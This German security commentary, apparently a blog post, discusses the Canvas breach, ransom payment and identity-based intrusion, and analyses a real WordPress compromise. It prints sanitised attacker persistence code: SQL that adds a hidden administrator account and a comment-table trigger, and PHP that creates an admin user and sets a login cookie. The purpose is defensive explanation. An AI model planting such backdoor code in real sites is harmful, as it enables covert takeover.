Wenn über Sicherheitsvorfälle berichtet wird, klingt das gern nach Technikdrama. Da ist dann vom „Cyberangriff“ die Rede, vom „raffinierten Hack“, von der „ausgeklügelten Attacke“. Das verkauft sich gut. Es klingt nach digitalem Ausnahmezustand, nach Exploit-Ketten, Malware, Zero-Days und dem üblichen Hackerkino für Leute, die Sicherheit immer noch mit Spezialeffekten verwechseln.
Die Realität ist meist deutlich unglamouröser. Und genau deshalb gefährlicher.
Am Anfang steht oft kein dämonischer 0-Day, sondern etwas viel Peinlicheres: ein funktionierender Login, eine brauchbare Session, ein System, das zuverlässig zwischen „gültig“ und „gutartig“ verwechselt.
Der aktuelle Canvas-Fall ist dafür ein gutes Beispiel. Öffentlich sichtbar sind Ausfall, Erpressung und Datenabfluss. Das ist der Teil, den jeder sieht. Der Teil, der Schlagzeilen produziert. Der Teil, der sich gut als „großer Hack“ erzählen lässt.
Weniger sichtbar, aber sicherheitlich relevanter, ist etwas anderes: Solche Vorfälle machen Identität, Benutzerkontext und Vertrauensbeziehungen verwertbar.
Ob der initiale Zugriff bei Canvas tatsächlich über gestohlene Zugangsdaten lief, ist öffentlich nicht sauber belegt. Das sollte man auch nicht einfach dazudichten, nur weil es gut in eine These passt. Aber genau deshalb ist der Fall interessant: Selbst ohne diesen Beleg zeigt er sehr deutlich, wie schnell ein Sicherheitsvorfall zur Identitätsfrage wird.
Denn wenn Namen, E-Mail-Adressen, interne Nachrichten, Rollenbeziehungen und organisatorischer Kontext abfließen, entsteht nicht nur Schaden. Es entsteht Rohmaterial. Material für Folgeangriffe. Material für glaubwürdigeres Phishing. Material für Support-Täuschung, Social Engineering und Kontoübernahmen. Material, aus dem sich reale Zugänge oft erst im zweiten Schritt gewinnen lassen.
Mit anderen Worten: Nicht jeder Vorfall beginnt nachweislich mit Credential Theft. Aber viele Vorfälle enden damit, dass genug Kontext abgeflossen ist, um credential-orientierten Missbrauch deutlich einfacher zu machen.
Der besonders peinliche Teil: Kriminelle fürs „Löschen“ bezahlen
Im Canvas-Fall kommt noch etwas dazu, das man nicht hinter freundlichen Krisenbegriffen verstecken sollte. Berichten zufolge hat sich der Betreiber auf einen Deal mit den Angreifern eingelassen, damit gestohlene Daten gelöscht oder jedenfalls nicht veröffentlicht werden.
Das mag sich intern mit Worten wie „agreement“, „resolution“ oder „containment under pressure“ nett verpacken lassen. An der Realität ändert das wenig.
Wer Angreifern Geld zahlt, damit sie gestohlene Daten löschen, stellt keine Sicherheit wieder her. Er kauft nur die Hoffnung, dass Kriminelle für einen kurzen Moment Geschäftsdisziplin zeigen.
Und das ist der Teil, bei dem man mit etwas gutem Willen noch von Krisenmanagement sprechen kann, mit weniger gutem Willen aber einfach von teurem Wunschdenken. Wer sich in so einer Lage auf die Zusage von Erpressern stützt, hat keinen Zustand zurückgewonnen. Er hat nur die Unsicherheit neu verpackt.
Das ist keine technische Maßnahme. Das ist keine belastbare Wiederherstellung. Das ist nicht einmal Kontrolle.
Es ist bestenfalls eine Form teurer Unsicherheitsverwaltung.
Denn eine Zahlung beantwortet keine der Fragen, die tatsächlich relevant wären:
- Wurden wirklich alle Kopien gelöscht?
- Wurden Daten bereits weitergegeben?
- Welche Erkenntnisse haben die Angreifer bereits aus den Daten gezogen?
- Welche Folgeangriffe sind damit schon vorbereitet?
- Welche Dritten haben möglicherweise bereits Zugriff?
Kurz gesagt: Wenn man Kriminellen Geld dafür gibt, dass sie behaupten, Daten gelöscht zu haben, dann hat man keinen Sicherheitszustand wiederhergestellt. Man hat das Problem nur in einen Bereich verschoben, in dem man auf das Wort von Erpressern angewiesen ist. Das ist keine Lösung. Das ist ein Eingeständnis von Kontrollverlust unter Zeitdruck.
Natürlich handeln Unternehmen in solchen Situationen nicht im Labor, sondern unter operativem Druck. Wenn der Betrieb hängt, öffentliche Wirkung droht und die Uhr läuft, wird aus Sicherheitsstrategie schnell Krisenökonomie. Menschlich ist das nachvollziehbar. Sicherheitstechnisch bleibt es unerquicklich.
Der operative Wert eines Vorfalls liegt oft im Danach
Genau hier liegt ein Missverständnis, das sich durch viele Sicherheitsdebatten zieht. Die Aufmerksamkeit geht fast immer auf den Eintrittspunkt:
- Welcher Exploit war es?
- Welche Schwachstelle wurde missbraucht?
- War es ein 0-Day?
- Gab es eine neue Malware-Familie?
Alles legitime Fragen. Aber oft nicht die wichtigsten.
Denn der eigentliche Wert eines Angriffs liegt für Angreifer nicht nur im ersten Zugang. Er liegt auch in allem, was danach verwertbar wird: Identitäten, Beziehungen, Prozesse, Kommunikationsmuster, Berechtigungen. Also in genau dem Material, das moderne Organisationen am Laufen hält.
Das ist die unangenehme Wahrheit: Der erste Vorfall ist oft nicht nur Schaden. Er ist auch Vorbereitungsmaterial.
Wer genug Benutzerkontext hat, braucht beim nächsten Schritt oft weniger Technik und mehr nur noch Geduld. Ein überzeugenderes Phishing. Eine glaubwürdigere Rückfrage an den Support. Eine besser platzierte Passwort-Reset-Anfrage. Ein sauber gebauter Pretext gegen jemanden, der zufällig gerade Zugriff hat.
Das ist selten spektakulär. Funktioniert aber leider gut.
Der reale Fall: klein genug fürs Wegsehen, lehrreich genug fürs Gegenteil
Wir haben das in kleinerem Maßstab kürzlich selbst in einer anonymisierten WordPress-Kompromittierung gesehen. Kein globales Produkt, keine große Bühne, kein Millionenpublikum. Einfach ein realer Fall aus der Praxis. Klein genug, um von vielen reflexhaft als „nicht so wichtig“ eingeordnet zu werden. Genau das ist oft der Fehler.
Denn gerade in kleineren Umgebungen fehlen häufig Dinge, die im Ernstfall helfen würden:
- saubere Protokollierung
- enge Admin-Prozesse
- belastbare Backups
- klare Incident-Routinen
- technische und organisatorische Trennung von Berechtigungen
Und wenn dort funktionierende Zugänge in falsche Hände geraten, braucht es oft keine besonders glamouröse Technik mehr.
In dem von uns untersuchten Fall sprach vieles dafür, dass der Einstieg nicht über eine spektakuläre Remote-Code-Execution lief, sondern über funktionierende, reale Zugangsdaten. Dafür sprach nicht nur ein einzelner erfolgreicher Login, sondern ein bereits vorgelagerter Strang verdächtiger erfolgreicher WordPress-Anmeldungen mit unmittelbarem Admin-Follow-up: Plugin-Bereich, REST-Nonce, Benutzerkontext, Admin-Pfade. Mit anderen Worten: nicht der eine filmreife Einschlag, sondern ein offenbar bereits getesteter und dann operativ genutzter Zugang.
Danach folgte kein digitales Feuerwerk. Es wurde einfach mit vorhandenen Rechten gearbeitet. Verwaltungsoberfläche, Plugin-Upload, Aktivierung, Dateimanager-Funktionen, Nachladen weiterer Komponenten, Missbrauch regulärer Wege. Gerade das ist der unangenehme Teil: Wenn der Zugriff echt aussieht, muss der Angreifer nicht erst an der Tür hebeln. Er benutzt den Haupteingang und räumt dann drinnen die Werkzeuge aus dem Schrank.
Das klingt weniger sexy als eine 0-Day-Story, ist aber für Verteidiger oft schlimmer. Ein gelungener Exploit macht Lärm. Ein valider Admin-Login produziert erst einmal Normalität. Genau deshalb ist das Gerede vom „großen Hack“ oft intellektuell bequem: Es erlaubt, die peinlichere Wahrheit zu übersehen, dass ein System mit echten Rechten missbraucht wurde und genau deshalb so reibungslos kaputtging.
Besonders lehrreich war dabei nicht nur der Missbrauch echter Zugänge, sondern die Qualität der nachgezogenen Persistenz. In dem Fall ging es nicht bloß um eine einzelne abgelegte Webshell, sondern um mehrere parallele Wiederzugriffspfade. Einer der interessanteren Punkte war eine im Schadcode vorgesehene Datenbank- und Trigger-Logik: also nicht nur Dateien im Webroot, sondern die Idee, Persistenz zusätzlich in die Datenhaltung selbst zu verschieben. Das ist besonders unerquicklich, weil viele Bereinigungen noch immer zu stark auf sichtbare Dateien schauen. Wer nur den offensichtlichen PHP-Müll entfernt, kann sich sehr schnell einreden, das Problem sei gelöst, während im Hintergrund längst ein zweiter Wiederansatz vorbereitet war.
Sanitisiert sah ein Teil davon ungefähr so aus:
INSERT INTO wp_users (... user_login, user_pass, ...) VALUES (...);
INSERT INTO wp_usermeta (... capabilities ...) VALUES (... 'administrator' ...);
INSERT INTO wp_usermeta (... user_level ...) VALUES (... '10' ...);
DROP TRIGGER IF EXISTS after_insert_comment;
CREATE TRIGGER after_insert_comment
AFTER INSERT ON wp_comments
FOR EACH ROW
BEGIN
-- Persistenz-/Nachlade-Logik
END;Das ist der Moment, in dem „wir haben die verdächtige Datei gelöscht“ als Sicherheitsstrategie endgültig lächerlich wird. Wenn Persistenz nicht nur im Dateisystem, sondern gedanklich schon in Accounts, Rechten und Datenbankmechanik steckt, reicht oberflächliches Aufräumen ungefähr so weit wie Wischen nach Rohrbruch.
Daneben gab es auch einen WordPress-nahen Wiederzugriffspfad, der nicht mit exotischer Exploit-Magie arbeitete, sondern mit dem Framework selbst:
$user_id = wp_insert_user([
'user_login' => $username,
'user_email' => $email,
'user_pass' => $password,
'role' => 'administrator'
]);
wp_set_password($password, $user->ID);
wp_set_current_user($user->ID, $user->user_login);
wp_set_auth_cookie($user->ID, true, is_ssl());
wp_safe_redirect(admin_url());Auch das ist so unerquicklich wie lehrreich. Kein Laserstrahl, kein Cybernebel, kein Hollywood. Einfach Benutzer anlegen, Rechte setzen, Session herstellen, weiterarbeiten. Also genau die Art von Missbrauch, die so gut funktioniert, weil sie auf vorhandene Vertrauensmechanik aufsetzt, statt sie spektakulär zu zerbrechen.
Ebenso interessant war das operative Muster. In den Spuren zeigte sich nicht einfach ein homogener Ablauf, sondern ein plausibler Bruch zwischen Aufbau- und Monetarisierungsphase. Früh ging es stärker um Loader, Nachlader und Persistenzpfade. Später wurde WordPress-näher gearbeitet: Sichtung vorhandener Artefakte, Nutzung eines Admin-Dateimanagers, gezielte Prüfung und teilweise Entfernung älterer Pfade, dazu andere Werkzeuge und ein anderer Arbeitsstil. Das muss kein gerichtsfester Beweis für zwei Personen sein. Aber als analytisches Modell ist ein Zwei-Operatoren-Szenario bemerkenswert plausibel: erst Zugang und Werkzeugaufbau, später ein anderer Akteur oder zumindest ein anderer Modus für Verwertung, Aufräumen und Monetarisierung.
Genau das macht solche Vorfälle für Verteidiger so unerquicklich. Nicht, weil sie technisch genial wären. Sondern weil sie wie normale Nutzung aussehen.
Ein gültiger Login ist zunächst kein lauter Alarm. Eine echte Admin-Session wirkt nicht wie ein Fremdkörper. Ein Angreifer mit realer Berechtigung muss sich nicht einmal besonders kreativ verhalten. Er benutzt einfach die Funktionen, die das System ihm ohnehin anbietet.
Und damit verschiebt sich die Verteidigungsfrage.
Die bequeme Verteidigungsidee reicht nicht mehr
Viele Organisationen denken bei Sicherheit noch immer in einer etwas zu gemütlichen Reihenfolge:
- Ist das System gepatcht?
- Gibt es bekannte Schwachstellen?
- Läuft ein Scanner?
- Haben wir MFA?
- Gibt es auffällige Malware?
Alles wichtig. Alles sinnvoll. Alles nicht genug.
Vor allem dann nicht, wenn man sich innerlich noch immer an der Vorstellung festhält, Angriffe müssten sich irgendwie auch wie Angriffe benehmen. Tun sie oft nicht. Sie benehmen sich wie reguläre Nutzung mit schlechten Absichten. Das ist operativ viel langweiliger und deshalb für Verteidiger viel lästiger.
Denn Angriffe mit echten Zugangsdaten, Sitzungen oder Tokens umgehen einen Teil dieser Logik ziemlich elegant. Nicht weil sie technisch brillant wären, sondern weil sie sich an bestehendes Vertrauen andocken. Der Login ist gültig. Die Session ist echt. Das Konto existiert. Das Backend sieht erst einmal nichts, was grundsätzlich „verboten“ aussieht.
Deshalb ist auch das beruhigende „Wir haben doch MFA“ nur begrenzt tröstlich. MFA hilft. Natürlich hilft sie. Aber sie beendet das Thema nicht. Wer Sessions übernimmt, Tokens missbraucht oder privilegierte Konten erwischt, ist nicht automatisch draußen.
Die modernere und unangenehmere Frage lautet deshalb nicht nur:
Wer kennt das Passwort?
Sondern eher:
Welche Identitäten gelten gerade als vertrauenswürdig – und wer benutzt sie tatsächlich?
Was Canvas und kleine reale Fälle gemeinsam haben
Canvas und ein kleiner kompromittierter WordPress-Auftritt spielen nicht in derselben Liga. Der Schaden, die Reichweite, die öffentliche Wirkung – alles unterschiedlich. Aber das Grundmuster ist dasselbe.
Im großen Fall sieht man, wie wertvoll abgeflossene Identitäts- und Kontextdaten sind. Im kleinen Fall sieht man, wie wenig Spektakel nötig ist, wenn bereits funktionierende Zugänge da sind.
Beides verweist auf dieselbe operative Realität:
- Der Exploit ist nicht immer die Hauptgeschichte.
- Identität ist nicht nur ein Nebenschauplatz.
- Und Zugangsdaten sind nicht bloß „ein weiterer Indikator“, sondern oft der eigentliche Operationsraum.
Das ist auch der Grund, warum man aufhören sollte, Credential Theft als bloße Vorstufe zum „eigentlichen Angriff“ zu behandeln. In vielen Fällen ist der Missbrauch von Identität nicht Vorspiel, sondern Kern der Sache.
Die eigentliche Lehre
Die bequeme Erzählung lautet: Der gefährliche Angriff ist der, der technisch spektakulär aussieht.
Die unangenehme Wahrheit ist eine andere. Sie ist weniger glamourös, weniger konferenztauglich und leider näher am Alltag: Systeme scheitern oft nicht an futuristischer Genialität, sondern daran, dass sie gültige Identität allzu bereitwillig mit legitimer Absicht verwechseln.
Der gefährlichste Angriff ist oft nicht der mit dem schönsten Exploit. Nicht der mit der exotischsten Malware. Nicht der mit dem lautesten Namen.
Oft ist der gefährlichste Angriff der, der einfach nur erfolgreich eingeloggt ist.
Und wenn nach einem Vorfall auch noch Geld fließt, damit Kriminelle angeblich wieder löschen, was sie längst kopiert haben könnten, wird aus Sicherheitsarbeit endgültig Schadensverwaltung auf Zuruf. Das Problem ist dann nicht mehr nur der erste Zugriff. Das Problem ist, dass Identität, Kontext und Vertrauen schon im Umlauf sind.